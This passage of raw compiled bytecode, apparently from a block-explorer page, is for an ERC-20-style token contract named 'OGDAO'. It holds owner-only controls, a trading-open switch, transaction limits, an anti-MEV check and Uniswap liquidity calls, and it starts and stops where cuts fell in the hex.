f9054906101000a900460ff165b1561177a573273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611779576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177090613432565b60405180910390fd5b5b61025860095461178a9190612e8b565b431080156117de575060105f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b801561181657503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561193b57600160065f4381526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282829054906101000a900460ff166118839190613450565b92506101000a81548160ff021916908360ff160217905550600260065f4381526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1660ff16111561193a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193190613432565b60405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156119a457503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119fb57505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611a4b57611a0b848484611f9c565b611a4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a41906134ce565b60405180910390fd5b5b5f611a57858585612124565b90505f8184611a669190612d93565b90508360045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611ab49190612d93565b925050819055508160115f828254611acc9190612e8b565b925050819055508060045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611b1f9190612e8b565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051611b83919061288b565b60405180910390a36001925050509392505050565b60646009600a611ba89190612ca0565b633b9aca00611bb79190612cea565b6002611bc39190612cea565b611bcd9190612e5b565b60018190555060646009600a611be39190612ca0565b633b9aca00611bf29190612cea565b6002611bfe9190612cea565b611c089190612e5b565b600281905550600160135f6101000a81548160ff02191690831515021790555043601281905550601254600954611c3f9190612e8b565b600981905550565b611c50826122ec565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230855f80600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401611cd696959493929190613525565b60606040518083038185885af1158015611cf2573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611d179190613598565b5050505050565b5f805f6003541115611e6c575f60045f600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff166370a08231600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401611dfb91906129d7565b602060405180830381865afa158015611e16573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611e3a91906135e8565b90505f828287611e4a9190612cea565b611e549190612e5b565b90506003548110611e6457600193505b505050611e71565b600190505b80915050919050565b6001601360016101000a81548160ff0219169083151502179055505f6011549050600a548110158015611eb8575060135f9054906101000a900460ff165b15611f7f57600b548110611ecc57600b5490505b5f8190506009600a611ede9190612ca0565b6001611eea9190612cea565b811115611f66578160045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611f3d9190612e8b565b92505081905550611f4d816124ce565b8160115f828254611f5e9190612d93565b925050819055505b5f4790505f811115611f7c57611f7b81612668565b5b50505b505f601360016101000a81548160ff021916908315150217905550565b5f806001905060135f9054906101000a900460ff168015612004575060085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015612057575060085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156121195760015483111561206e575f9050612118565b60105f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615801561210e57506002548360045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461210c9190612e8b565b115b15612117575f90505b5b5b809150509392505050565b5f8060135f9054906101000a900460ff161580612187575060075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806121d8575060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b156121e5575f90506122e1565b60105f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156122645760645f60159054906101000a900460ff1660ff16846122539190612cea565b61225d9190612e5b565b90506122e0565b60105f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156122df5760645f60149054906101000a900460ff1660ff16846122d29190612cea565b6122dc9190612e5b565b90505b5b5b809150509392505050565b8060055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156124cb577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040516124c2919061288b565b60405180910390a35b50565b6124d7816122ec565b5f600267ffffffffffffffff8111156124f3576124f2613613565b5b6040519080825280602002602001820160405280156125215781602001602082028036833780820191505090505b50905030815f8151811061253857612537613640565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28160018151811061259b5761259a613640565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401612637959493929190613724565b5f604051808303815f87803b15801561264e575f80fd5b505af1158015612660573d5f803e3d5ffd5b505050505050565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156126cc573d5f803e3d5ffd5b5050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156127075780820151818401526020810190506126ec565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61272c826126d0565b61273681856126da565b93506127468185602086016126ea565b61274f81612712565b840191505092915050565b5f6020820190508181035f8301526127728184612722565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6127a78261277e565b9050919050565b6127b78161279d565b81146127c1575f80fd5b50565b5f813590506127d2816127ae565b92915050565b5f819050919050565b6127ea816127d8565b81146127f4575f80fd5b50565b5f81359050612805816127e1565b92915050565b5f80604083850312156128215761282061277a565b5b5f61282e858286016127c4565b925050602061283f858286016127f7565b9150509250929050565b5f8115159050919050565b61285d81612849565b82525050565b5f6020820190506128765f830184612854565b92915050565b612885816127d8565b82525050565b5f60208201905061289e5f83018461287c565b92915050565b5f805f606084860312156128bb576128ba61277a565b5b5f6128c8868287016127c4565b93505060206128d9868287016127c4565b92505060406128ea868287016127f7565b9150509250925092565b5f60ff82169050919050565b612909816128f4565b82525050565b5f6020820190506129225f830184612900565b92915050565b5f61ffff82169050919050565b61293e81612928565b8114612948575f80fd5b50565b5f8135905061295981612935565b92915050565b5f80604083850312156129755761297461277a565b5b5f6129828582860161294b565b92505060206129938582860161294b565b9150509250929050565b5f602082840312156129b2576129b161277a565b5b5f6129bf848285016127c4565b91505092915050565b6129d18161279d565b82525050565b5f6020820190506129ea5f8301846129c8565b92915050565b5f8060408385031215612a0657612a0561277a565b5b5f612a13858286016127c4565b9250506020612a24858286016127c4565b9150509250929050565b5f63ffffffff82169050919050565b612a4681612a2e565b8114612a50575f80fd5b50565b5f81359050612a6181612a3d565b92915050565b5f805f805f60a08688031215612a8057612a7f61277a565b5b5f612a8d88828901612a53565b9550506020612a9e88828901612a53565b9450506040612aaf88828901612a53565b9350506060612ac088828901612a53565b9250506080612ad188828901612a53565b9150509295509295909350565b5f612ae88261277e565b9050919050565b612af881612ade565b8114612b02575f80fd5b50565b5f81359050612b1381612aef565b92915050565b5f60208284031215612b2e57612b2d61277a565b5b5f612b3b84828501612b05565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115612bc657808604811115612ba257612ba1612b44565b5b6001851615612bb15780820291505b8081029050612bbf85612b71565b9450612b86565b94509492505050565b5f82612bde5760019050612c99565b81612beb575f9050612c99565b8160018114612c015760028114612c0b57612c3a565b6001915050612c99565b60ff841115612c1d57612c1c612b44565b5b8360020a915084821115612c3457612c33612b44565b5b50612c99565b5060208310610133831016604e8410600b8410161715612c6f5782820a905083811115612c6a57612c69612b44565b5b612c99565b612c7c8484846001612b7d565b92509050818404811115612c9357612c92612b44565b5b81810290505b9392505050565b5f612caa826127d8565b9150612cb5836128f4565b9250612ce27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612bcf565b905092915050565b5f612cf4826127d8565b9150612cff836127d8565b9250828202612d0d816127d8565b91508282048414831517612d2457612d23612b44565b5b5092915050565b7f54726164696e67206e6f7420796574206f70656e0000000000000000000000005f82015250565b5f612d5f6014836126da565b9150612d6a82612d2b565b602082019050919050565b5f6020820190508181035f830152612d8c81612d53565b9050919050565b5f612d9d826127d8565b9150612da8836127d8565b9250828203905081811115612dc057612dbf612b44565b5b92915050565b7f4f6e6c79206f776e65722063616e2063616c6c207468697320666e00000000005f82015250565b5f612dfa601b836126da565b9150612e0582612dc6565b602082019050919050565b5f6020820190508181035f830152612e2781612dee565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612e65826127d8565b9150612e70836127d8565b925082612e8057612e7f612e2e565b5b828204905092915050565b5f612e95826127d8565b9150612ea0836127d8565b9250828201905080821115612eb857612eb7612b44565b5b92915050565b7f747820746f6f206c6f77000000000000000000000000000000000000000000005f82015250565b5f612ef2600a836126da565b9150612efd82612ebe565b602082019050919050565b5f6020820190508181035f830152612f1f81612ee6565b9050919050565b7f77616c6c657420746f6f206c6f770000000000000000000000000000000000005f82015250565b5f612f5a600e836126da565b9150612f6582612f26565b602082019050919050565b5f6020820190508181035f830152612f8781612f4e565b9050919050565b7f74726164696e67206f70656e00000000000000000000000000000000000000005f82015250565b5f612fc2600c836126da565b9150612fcd82612f8e565b602082019050919050565b5f6020820190508181035f830152612fef81612fb6565b9050919050565b5f66ffffffffffffff82169050919050565b5f61301282612ff6565b915061301d83612ff6565b925082820261302b81612ff6565b915080821461303d5761303c612b44565b5b5092915050565b7f4d696e2d4d6178206572726f72000000000000000000000000000000000000005f82015250565b5f613078600d836126da565b915061308382613044565b602082019050919050565b5f6020820190508181035f8301526130a58161306c565b9050919050565b7f4c502063726561746564000000000000000000000000000000000000000000005f82015250565b5f6130e0600a836126da565b91506130eb826130ac565b602082019050919050565b5f6020820190508181035f83015261310d816130d4565b9050919050565b7f4e6f2045544820696e2063612f6d7367000000000000000000000000000000005f82015250565b5f6131486010836126da565b915061315382613114565b602082019050919050565b5f6020820190508181035f8301526131758161313c565b9050919050565b7f4e6f20746f6b656e7320696e20636100000000000000000000000000000000005f82015250565b5f6131b0600f836126da565b91506131bb8261317c565b602082019050919050565b5f6020820190508181035f8301526131dd816131a4565b9050919050565b5f815190506131f2816127ae565b92915050565b5f6020828403121561320d5761320c61277a565b5b5f61321a848285016131e4565b91505092915050565b5f6040820190506132365f8301856129c8565b61324360208301846129c8565b9392505050565b5f81519050919050565b5f81905092915050565b5f6132688261324a565b6132728185613254565b93506132828185602086016126ea565b80840191505092915050565b5f613299828461325e565b915081905092915050565b7f4661696c656420616464696e67206c70000000000000000000000000000000005f82015250565b5f6132d86010836126da565b91506132e3826132a4565b602082019050919050565b5f6020820190508181035f830152613305816132cc565b9050919050565b5f819050919050565b5f61332f61332a6133258461277e565b61330c565b61277e565b9050919050565b5f61334082613315565b9050919050565b5f61335182613336565b9050919050565b61336181613347565b82525050565b5f60208201905061337a5f830184613358565b92915050565b7f4e6f207472616e73666572732066726f6d20302077616c6c65740000000000005f82015250565b5f6133b4601a836126da565b91506133bf82613380565b602082019050919050565b5f6020820190508181035f8301526133e1816133a8565b9050919050565b7f4d455620626c6f636b00000000000000000000000000000000000000000000005f82015250565b5f61341c6009836126da565b9150613427826133e8565b602082019050919050565b5f6020820190508181035f83015261344981613410565b9050919050565b5f61345a826128f4565b9150613465836128f4565b9250828201905060ff81111561347e5761347d612b44565b5b92915050565b7f5458206f766572206c696d6974730000000000000000000000000000000000005f82015250565b5f6134b8600e836126da565b91506134c382613484565b602082019050919050565b5f6020820190508181035f8301526134e5816134ac565b9050919050565b5f819050919050565b5f61350f61350a613505846134ec565b61330c565b6127d8565b9050919050565b61351f816134f5565b82525050565b5f60c0820190506135385f8301896129c8565b613545602083018861287c565b6135526040830187613516565b61355f6060830186613516565b61356c60808301856129c8565b61357960a083018461287c565b979650505050505050565b5f81519050613592816127e1565b92915050565b5f805f606084860312156135af576135ae61277a565b5b5f6135bc86828701613584565b93505060206135cd86828701613584565b92505060406135de86828701613584565b9150509250925092565b5f602082840312156135fd576135fc61277a565b5b5f61360a84828501613584565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61369f8161279d565b82525050565b5f6136b08383613696565b60208301905092915050565b5f602082019050919050565b5f6136d28261366d565b6136dc8185613677565b93506136e783613687565b805f5b838110156137175781516136fe88826136a5565b9750613709836136bc565b9250506001810190506136ea565b5085935050505092915050565b5f60a0820190506137375f83018861287c565b6137446020830187613516565b818103604083015261375681866136c8565b905061376560608301856129c8565b613772608083018461287c565b969550505050505056fea264697066735822122018b7c1329cfcb8f7c3b1a66e990b704030a8044210542d721ab93a6e1de10dc764736f6c63430008150033

Deployed Bytecode

0x6080604052600436106100f6575f3560e01c80638a8c523c11610089578063dd62ed3e11610058578063dd62ed3e14610317578063e537a83414610353578063e8078d941461037b578063f2fde38b14610385576100fd565b80638a8c523c146102715780638da5cb5b1461028757806395d89b41146102b1578063a9059cbb146102db576100fd565b8063313ce567116100c5578063313ce567146101cd578063368f4800146101f757806370a082311461021f578063715018a61461025b576100fd565b806306fdde0314610101578063095ea7b31461012b57806318160ddd1461016757806323b872dd14610191576100fd565b366100fd57005b5f80fd5b34801561010c575f80fd5b506101156103ad565b604051610122919061275a565b60405180910390f35b348015610136575f80fd5b50610151600480360381019061014c919061280b565b6103ea565b60405161015e9190612863565b60405180910390f35b348015610172575f80fd5b5061017b6104d7565b604051610188919061288b565b60405180910390f35b34801561019c575f80fd5b506101b760048036038101906101b291906128a4565b6104fa565b6040516101c49190612863565b60405180910390f35b3480156101d8575f80fd5b506101e16105e5565b6040516101ee919061290f565b60405180910390f35b348015610202575f80fd5b5061021d6004803603810190610218919061295f565b6105ed565b005b34801561022a575f80fd5b506102456004803603810190610240919061299d565b6107a8565b604051610252919061288b565b60405180910390f35b348015610266575f80fd5b5061026f6107ee565b005b34801561027c575f80fd5b506102856108f3565b005b348015610292575f80fd5b5061029b6109d9565b6040516102a891906129d7565b60405180910390f35b3480156102bc575f80fd5b506102c5610a00565b6040516102d2919061275a565b60405180910390f35b3480156102e6575f80fd5b5061030160048036038101906102fc919061280b565b610a3d565b60405161030e9190612863565b60405180910390f35b348015610322575f80fd5b5061033d600480360381019061033891906129f0565b610a99565b60405161034a919061288b565b60405180910390f35b34801561035e575f80fd5b5061037960048036038101906103749190612a67565b610b1b565b005b610383610ca8565b005b348015610390575f80fd5b506103ab60048036038101906103a69190612b19565b6112ee565b005b60606040518060400160405280600581526020017f4f4744414f000000000000000000000000000000000000000000000000000000815250905090565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104c5919061288b565b60405180910390a36001905092915050565b5f6009600a6104e69190612ca0565b633b9aca006104f59190612cea565b905090565b5f610504846113f4565b610543576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053a90612d75565b60405180910390fd5b8160055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546105ca9190612d93565b925050819055506105dc8484846114c6565b90509392505050565b5f6009905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461067a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067190612e10565b60405180910390fd5b5f60016103e88461ffff166009600a6106939190612ca0565b633b9aca006106a29190612cea565b6106ac9190612cea565b6106b69190612e5b565b6106c09190612e8b565b9050600154811015610707576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106fe90612f08565b60405180910390fd5b806001819055505f60016103e88461ffff166009600a6107279190612ca0565b633b9aca006107369190612cea565b6107409190612cea565b61074a9190612e5b565b6107549190612e8b565b905060025481101561079b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079290612f70565b60405180910390fd5b8060028190555050505050565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461087b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087290612e10565b60405180910390fd5b5f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861635f6040516108e991906129d7565b60405180910390a1565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610980576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097790612e10565b60405180910390fd5b60135f9054906101000a900460ff16156109cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c690612fd8565b60405180910390fd5b6109d7611b98565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4f4744414f000000000000000000000000000000000000000000000000000000815250905090565b5f610a47336113f4565b610a86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7d90612d75565b60405180910390fd5b610a913384846114c6565b905092915050565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ba8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9f90612e10565b60405180910390fd5b8363ffffffff168563ffffffff166009600a610bc49190612ca0565b633b9aca00610bd39190612cea565b610bdd9190612cea565b610be79190612e5b565b600a819055508163ffffffff168363ffffffff166009600a610c099190612ca0565b633b9aca00610c189190612cea565b610c229190612cea565b610c2c9190612e5b565b600b8190555066038d7ea4c680008163ffffffff16610c4b9190613008565b66ffffffffffffff16600381905550600a54600b541015610ca1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c989061308e565b60405180910390fd5b5050505050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2c90612e10565b60405180910390fd5b6001601360016101000a81548160ff0219169083151502179055505f73ffffffffffffffffffffffffffffffffffffffff16600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ddf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd6906130f6565b60405180910390fd5b60135f9054906101000a900460ff1615610e2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2590612fd8565b60405180910390fd5b5f341180610e3b57505f47115b610e7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e719061315e565b60405180910390fd5b5f60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205411610ef9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef0906131c6565b60405180910390fd5b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f63573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f8791906131f8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26040518363ffffffff1660e01b8152600401610fd5929190613223565b6020604051808303815f875af1158015610ff1573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061101591906131f8565b600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061109b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205447611c47565b60115460045f600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461110a9190612d93565b925050819055505f600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527ffff6cae9000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516111da919061328e565b5f604051808303815f865af19150503d805f8114611213576040519150601f19603f3d011682016040523d82523d5f602084013e611218565b606091505b505090508061125c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611253906132ee565b60405180910390fd5b8060105f600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505f601360016101000a81548160ff021916908315150217905550565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461137b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137290612e10565b60405180910390fd5b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163816040516113e99190613367565b60405180910390a150565b5f805f905060135f9054906101000a900460ff161561141657600190506114bd565b60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156114b2575060085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b156114bc57600190505b5b80915050919050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611535576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152c906133ca565b60405180910390fd5b60135f9054906101000a900460ff166116245760075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156115e4575060085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611623576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161a90612d75565b60405180910390fd5b5b601360019054906101000a900460ff16158015611687575060105f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611698575061169782611d1e565b5b156116a6576116a5611e7a565b5b601254431061193c5760095443108015611706575060105f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b1561177a573273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611779576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177090613432565b60405180910390fd5b5b61025860095461178a9190612e8b565b431080156117de575060105f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b801561181657503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561193b57600160065f4381526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282829054906101000a900460ff166118839190613450565b92506101000a81548160ff021916908360ff160217905550600260065f4381526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1660ff16111561193a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193190613432565b60405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156119a457503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119fb57505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611a4b57611a0b848484611f9c565b611a4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a41906134ce565b60405180910390fd5b5b5f611a57858585612124565b90505f8184611a669190612d93565b90508360045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611ab49190612d93565b925050819055508160115f828254611acc9190612e8b565b925050819055508060045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611b1f9190612e8b565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051611b83919061288b565b60405180910390a36001925050509392505050565b60646009600a611ba89190612ca0565b633b9aca00611bb79190612cea565b6002611bc39190612cea565b611bcd9190612e5b565b60018190555060646009600a611be39190612ca0565b633b9aca00611bf29190612cea565b6002611bfe9190612cea565b611c089190612e5b565b600281905550600160135f6101000a81548160ff02191690831515021790555043601281905550601254600954611c3f9190612e8b565b600981905550565b611c50826122ec565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230855f80600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401611cd696959493929190613525565b60606040518083038185885af1158015611cf2573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611d179190613598565b5050505050565b5f805f6003541115611e6c575f60045f600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505f73c02aaa39b223fe8d0a0e5c4f27ead90